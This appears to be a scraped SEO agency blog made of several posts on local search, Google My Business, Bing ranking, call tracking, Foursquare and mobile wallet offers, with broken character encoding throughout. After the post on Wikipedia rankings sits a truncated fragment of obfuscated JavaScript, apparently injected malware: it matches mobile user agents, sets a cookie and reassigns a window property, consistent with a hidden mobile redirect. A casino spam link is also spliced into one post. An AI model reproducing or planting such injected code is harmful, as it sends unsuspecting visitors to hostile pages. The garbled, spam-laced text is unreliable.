Creative Commons image by SEO Link

Creative Commons image by SEO Link

If you are involved in creating the SEO content for your website or blog, you know that local SEO can be the way to go for many companies. Specifying your location helps potential consumers know that you are (or are not) in their area, and it also helps you rank higher on Google search lists, because there’s less competition for “hairdressers in Cleveland” than there is for just “hairdressers.” When you create your content and ads, then, you’re going to want to think about using local SEO strategies. Here are a few hints and tips for those new to the idea.

Don’t Go Crazy Listing Town Names

If you are in, say, the Tampa area, you might consider which areas you service and come up with a very long list. Brandon, Lutz, Apollo Beach, Gibsonton, Seffner, Wesley Chapel, Land O Lakes, St. Petersburg, Largo, Clearwater… If you incorporated all of these towns into your copy, Google (and your readers) would suspect you of being spammy. Nobody wants to read a long list of towns that you service. While it’s fine to choose a couple, it’s often just as effective to state “Tampa Bay area,” or “Tampa, St Pete and Clearwater.” If someone in Lutz or Brandon wants to hire you, they’ll assume they’re included in with Tampa Bay — and if you don’t want to service homes in certain towns because they are too far outside of your radius, then you can deal with that when they call. Another option is to include a map on your site. Just avoid listing a bunch of cities, towns or zip codes in the content of your website.

Use Google My Business Appropriately

When putting your business into Google My Business for local search, you need to choose only the towns that you have a physical presence in. That’s it. Do not try to submit your listing to a variety of towns, as it’s not going to do you any good. While we’re on the subject, choose just one or two categories, as well. You can find more information on using Google My Business to boost your local SEO in an article we put up a few months ago.

Don’t Neglect to Ask for Reviews

Having reviews on your Google page, as well as on other pages like Yelp and Facebook, will give your business a needed boost. Having reviews on Google, preferably positive reviews, of course, will give people something to click on. They want to see what other people think about your business! Get into the habit of asking your customers for reviews. Do whatever works: Add a link to your outgoing email, offer an incentive for leaving a review (you could do a drawing each month for a giveaway, and each review gets an entry), straight-up ask customers face-to-face to leave a review, and so on.

Do be aware that you might need to do damage control occasionally if people leave you poor reviews. Remember that you might have to do this even if you didn’t ask for reviews, and since you are asking, you can make a mental note to stay on top of what’s getting posted about your company.

 

Keep up with your competitors by using strategies designed to boost your local SEO for better visibility. If you have questions about how you can make SEO work for you, you can contact Most Optimal.

 

 


Creative Commons image by Esther Vargas.

Creative Commons image by Esther Vargas.can mak

Google My Business is a free product that is essential for any business. With it, not only can you make your company more visible to those using Google, but you can also access all of your Google apps (Google+, Maps and search, for example) from one place. One thing to keep in mind is that GMB is not automatic: You have to claim your listing and keep it current. Another is that if you do not claim your business, you wona��t show up in local search listings. Here are some tips for making GMB work for you.

Make Sure Ita��s Accurate

If you have a type in the address or a misspelled (or mis-punctuated) version of your business name, it could highly impact how and when it shows up on local searches. Remember that on mobile searches, GPS is used to give the user the names and addresses of the nearest businesses in the chosen category; neglecting to put in the right street number or typing the address in as a�?Drivea�? when ita��s really a�?Avenuea�? is going to cause the listing to be frustratingly incorrect.

Also, double-check your business hours, whether you accept credit cards and other information shown. Therea��s nothing more annoying for a customer than to drive over and find out that you actually close early on Fridays in the summer, despite this information not being on the listing. If you have extended or shortened hours for holidays or other occasions, go in and change them within the listing, then dona��t forget to change them back once the occasion is over.

Add Details

When you choose your category, be specific. If you sell leather shoes, dona��t just choose Apparel, for example. Also, add photos; people are more likely to be interested in a company if they can see what the stock looks like and if they see a few friendly faces of employees. Find information more on wesbite online echtgeld casino. An image of the storefront or sign gives them something to look for as they drive down the street, too. If you have a restaurant, include a menu.

Combine GMB With Other Products

If youa��re trying to boost your visibility, youa��ll need to go beyond relying only on Google My Business. Combine it with an AdWords campaign; listings on Yelp, Bing and Yahoo; and ask customers for reviews on any and all platforms youa��re using. Make sure your social media accounts, directory listings and anywhere else your business appears online all have the same information: Be sure the phone number, email address, business name spelling and business hours match to avoid confusion. You dona��t want your customers seeing conflicting information and deciding to go elsewhere.

Making the most of free products that can boost your local visibility is something every business should be doing. Take some time to check the accuracy of all of your listings and to update your GMB details on a regular basis to keep coming up in local searches.


Creative Commons image by Olga Berios

Creative Commons image by Olga Berios

Google has a way of keeping us guessing, and while there are definitely SEO practices that can boost your ranking with the search engine superstar, no one has actually a�?cracked the code” of the exact algorithm used. Still, there are some tips that anyone who knows anything about SEO will tell you if you ask. Recently, Andrey Lipattsev, the Search Quality Senior Strategist at Google Ireland, answered some questions about the top three characteristics that Google is looking for. They come as no surprise to those in the know, but here they are, in no particular order, for your consideration.

Content

Remember a few years ago, when a common catchphrase was a�?content is kinga�?? Well, it turns out that this is still a valid and large piece of the algorithm. If you have a web page that doesna��t actually give any information, is stuffed with irrelevant keywords, or is poorly written, Google is going to take notice and send you careening toward the recesses of the double-digit search result pages. So, what are the characteristics that your content should have? A few include:

  • Scannability and a clear, easy to read font.
  • Compelling. Include information that people will want to read and share.
  • Concision. Dona��t go on and on about nothing. At the same time, though, strive to keep your pages over 300 words.
  • Original. Plagiarism? Dona��t even think about it.
  • Accuracy. Make sure what youa��re including in your articles and blog posts is actually true and verifiable.

The takeaway here is to write for human readers and Google will soon follow.

RankBrain

Speaking of human readers, youa��ve probably been aware for some time that artificial intelligence is rapidly catching up to, and in some cases even surpassing, the brainpower of humans. RankBrain, Googlea��s AI system, is an important piece of the algorithm puzzle. You can take a look at what RankBrain is all about and how it works, on Search Engine Watch.

Backlinks

Sometimes considered a gray-hat SEO technique, making sure that other sites are linking to yours is actually important when it comes to ranking well on Google search results. The actual links are a good thing, if you handle it the right way. If reputable sites are linking to you, Google will assume that you have good, actionable, useful content. If you are posting your link as spam all over other peoplea��s blogs, however, ita��s not going to work. Here are some link-building strategies can can work for you.

Ita��s important to keep in mind that there is no simple formula for ranking well with Google. Even if you have solid backlinks, great content and a good rating on RankBrain, you still might not make it to the top of the first page of results. On the other hand, if you arena��t achieving these basics, then ita��s almost definite that you arena��t going to find the success you are looking for. Google uses the best tools available to put engaging, actionable sites toward the top of the results page. Ita��s in your best interest to write for human readers, incorporate some SEO techniques into your site, and contact a reputable SEO company, such as Most Optimal, to help you get the best results out of your efforts.


call tracking or SEO?
call tracking or SEO?

Creative Commons image by Abie Sudiono

As a business-owner, you might have heard conflicting advice about call tracking and SEO. Your call tracking company might say that the practice does not impact SEO at all. On the other hand, your local marketer recommends against the practice, saying that it always negatively impacts search results. Who are you to believe? And what can you do as a happy middle ground? Here are some tips on this controversial — and confusing — topic.

What Is Call Tracking?

Not sure what call tracking is? Simply put, ita��s a way of tracking which ads (or other sources) are responsible for generating the phone calls that users make to your company. It can help you determine which strategies are most effective in bringing in leads. In addition, call tracking will show you where, geographically speaking, callers are from, which can help you concentrate on the most effective local marketing practices. Youa��ll see how many unique callers youa��re getting, and you can even determine which times of the day are most profitable.

How Does Call Tracking Impact SEO?

The way call tracking works is that it displays a different telephone number on the tracking end, depending on where the call is originating from. Since Google wants your NAP (name, address and phone number) to match on all directories, having different numbers on various platforms can confuse the bots. This can push you down on the local search page.

If done correctly, however, using technology to your advantage, you wona��t have to worry about call tracking negatively affecting your search engine rankings.

What Is Dynamic Number Insertion?

By using JavaScript, you can actually have your consistent number (the one displayed on all of your directory listings, as well as on your website) shown on every web page and in all search results, while having users actually ring in on another line. This script will allow you to implement call tracking and enjoy all of its benefits without anyone (including Google bots) knowing that a different incoming phone number is actually being used. While it sounds complicated, your webmaster can set up the scripts needed. For more information, check out this guide to maintaining your local search integrity while practicing highly useful call tracking strategies.

If you have questions about how you can take advantage of call tracking technology without hurting your local SEO and Google rankings, please contact Most Optimal. We can script your site to allow for dynamic number insertion, as well as talk to you about other ways to boost your local marketing strategies for greater success. Get in touch with us today!

 


just bing it!

If you were to ask just about anyone who the biggest search engine is, theya��d rightfully answer Google. In fact, Google is used nearly two-thirds of the time when it comes to organic searches. Bing, however, has been movina�� on up in the search engine hierarchy; in addition to partnering with Yahoo, the growing engine is now powering AOLa��s search, bringing its total domain to approximately 1/3 of organic searches.

While most webmasters focus mostly on how to rank higher in Googlea��s search results, it would be remiss to neglect to consider what will help a page rank higher with Bing. Interestingly, Bing is more transparent than Google is when it comes to their algorithms, so you will have less guesswork to do if you would like to focus some or all of your sites on Bing criteria.

Some Is the Same

There are some components of a good website that will help you whether you are attempting to appeal to Google or Bing users. For example, your site needs to appeal to users. A high bounce rate tells both search engines that people are simply not receptive to your site. Your content should be well-written and should hold authority.

Click-through rates are also important. Keep this in mind as you create your ads and hyperlinks; you want people to click those links and go to your site.

Backlinks May Matter Less

Fewer of the top results from Bing contain backlinks, something that Google has relied on in their algorithms. If you are going to include backlinks, try to get them in the body of the content rather than in a sidebar or as a list at the bottom of a page.

Keyword Matching Is a Bit Iffy

While Google is genius at keyword matching, Bing seems to be a bit slower on this. When you use inbound anchor text, make sure that you are using good keywords, including long-tail keywords. The danger here is that you link too many keywords, which will set off Googlea��s spam-o-meter; keep this in mind and use moderation.

Authority Counts

Having an older domain name and older domains linking to your site will boost your ranking with Bing. New domains dona��t do as well, so if you have an older domain name that you just havena��t been using, it might make sense to use it for a while, even if only to let a newer, more preferred domain name age a bit before switching over.

There Are Tools for You to Use

Bing does seem to try to make it easier on its users by providing a webmaster guide as well as a tool to tell you how your site is doing. Check out the guide and the SEO Analyzer to measure the appeal of your site when it comes to this search engine.

Remember that while search engine rankings are important, ita��s just as important to appeal to actual humans. Speak to a professional search marketing expert at Most Optimal to learn more and to hear about what we can do for your site and your page rankings on the biggest search engines.


How can you use the Foursquare partnership with Apple Maps to your advantage?

How can you use the Foursquare partnership with Apple Maps to your advantage?

With upwards of 94 million iPhones in use during the first quarter of 2015, ita��s safe to say that lots and lots of people are using the Apple Maps app while out and about. In fact, if youa��ve ever asked Siri how to get to the nearest coffeeshop, to a specific address or, feeling hopelessly lost, how to get home, youa��ve likely used Apple Maps yourself. (In 2012, Apple switched its default map program from Google Maps to Apple Maps.)

It was recently discovered and reported on SearchEngineLand that Foursquare is now playing a part in supplying Apple Maps with information, as evidenced as its appearance on Apple Mapsa��s acknowledgement and copyrights page. This means that when you ask Siri to give you directions to the best place to get a slice of pizza, she will no longer refer solely on the reviews and information on TripAdvisor or Booking.com, but will also take Foursquarea��s information into consideration.

So, what does this mean for you? Your business might already have a listing on Foursquare; if it does, it might also have a star rating and some reviews. By claiming the listing as your own, you can add photos, list your hours of operation, add links to your website, and so on. You can also pay Foursquare to promote your listing, which can boost your overall visibility.

Some other ideas for promoting your Foursquare account are:

Asking your customers to leave you a review. Ask your happy customers to rate your business on Foursquare and, if they want to, to leave a review. The higher your star rating, the more likely iPhone and Apple Maps users will want to check you out when theya��re looking for the services that you provide. You can add an incentive, too; offer customers 10% off their next order or purchase if they leave you a review.

Using your Foursquare reviews in ads or testimonials. If youa��re placing ads, link a good testimonial to your Foursquare site. This will allow potential buyers to see all of your ratings.

Link your Foursquare account to your social media accounts and website. While your typical Siri-user might be driving or in a rush, others using Apple Maps and Foursquare will be looking for more information. Include your contact information, including your social media links, in your Foursquare listing to get more hits (and, hopefully, sales). It should go without saying that your social media accounts should be updated regularly if youa��re going to promote them.

With this recent partnership between Foursquare and Apple Maps, you now have a greater opportunity to reach new customers and clients who use these apps. Since the relationship between these two services seems to be somewhat new, it will take some time to see what impact it will have. Making sure that your listings are updated on all platforms is a wise move, no matter what the overall effect from this change turns out to be.

Creative Commons image courtesy of Nan Palmero.


a bar graph

15087456064_be1faf2e6a_zYou might have heard rumblings over the summer that Wikipediaa��s rankings had fallen due to Google algorithm changes. Ita��s true; MOZ and Stone Temple Consulting have verified that yes, the online encyclopedia was coming up less often than it had in the past.

What might surprise you, however, is that Wikipedia was (and is) still coming up higher than Google sites. Interestingly, commercial searches are more likely to bring up Wikipedia sites, while informational searches are bringing up more Google sites (but Wikipedia is still ahead).

The drop is not significant enough to make anyone think that Wikipedia is going anywhere any time soon, but it was enough to be noticed by Wikipedia and by analysts.

You can read more about the studies on Search Engine Land.

Whata��s the takeaway here?

Ita��s important to keep in mind that algorithms change frequently, and a long-term vision and strategy is more important than trying to adjust for every up and down. If your Google ranking is dropping consistently, this is a problem worth looking into and fixing. If ita��s fluctuating a bit, therea��s usually no need to worry; even Googlea��s own links and sites fluctuate! Keep an eye on your sitea��s trends and be proactive if you see a consistent drop, but dona��t panic if ita��s mild and temporary.

Also, the fact that even a site as large and reliable as Wikipedia can drop pretty significantly is a good indication that an expert in rankings might mean the difference between a small company having a position on the first page of local search results. At Most Optimal, we focus on keeping our clientsa�� Google rankings as high as possible. Please contact us if you want to talk about your ranking and what we can do to help you raise it. 32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


mobile wallet
Creative Commons image by Jason Howie.

Creative Commons image by Jason Howie.

You already know that when you stroll through the grocery store, you might find packages of paper plates alongside the hot dog rolls, or graham crackers located near the marshmallows. Product placement is perfect for stores wanting to get consumers to a�?impulse buya�? extra products. If youa��re having a picnic and serving hot dogs, you very well may need paper plates, and with a package sitting so conveniently in the aisle that youa��re already in, you might not even bother comparing prices in the paper goods section halfway across the store.

With the use of mobile wallet offers, this type of a�?product placementa�? has gone high-tech.

When consumers are already inside a retail store, they are primed to buy. Even if theya��re running for a�?just one thing,a�? chances are excellent that they will pick up several more items before they make it to the checkout. With beacons (tiny devices that transmit Bluetooth Low Energy waves to communicate with smartphones) located around the store, specials and product reminders can actually be sent to phones in the store, prompting their users to remember that they are low on products like tissues, cleaning supplies or cat food.

With the majority of local searches now taking place on mobile devices, this technology allows establishments to capitalize on buyers being in the right place at the right time. Someone searching for a good deal on laundry detergent from home is probably planning on buying some later that day or later that week. They may or may not remember which brand was on sale at any particular store unless it was a great deal. Once someone is already in the store, however, a notification that Tide is on sale for half off in aisle 7 is timed perfectly: The consumer remembers that he or she needs laundry detergent (or realizes that ita��s a good deal and shouldna��t be passed up, even if there are still two bottles left in the laundry room!) and makes the purchase, even if that wasna��t on the shopping list to begin with.

Of course, these offers are not just limited to in-store retail purchases. People use local search all the time to find restaurants, health clinics and office supply companies while out and about. Theya��ll also use local search via their mobile phones to find a plumber who is close by when the water heater is leaking all over their basement. By setting up offers to go directly to their mobile wallets, you can tip the odds in your favor that youa��ll be the service provider that these users will choose.

If you are relying on local search to fuel a good percentage of your sales, it might be worth installing beacons and using mobile wallet offers to take advantage of the a�?here and nowa�? moments that come up in your customersa�� days.

Have you had good results using mobile wallet offers?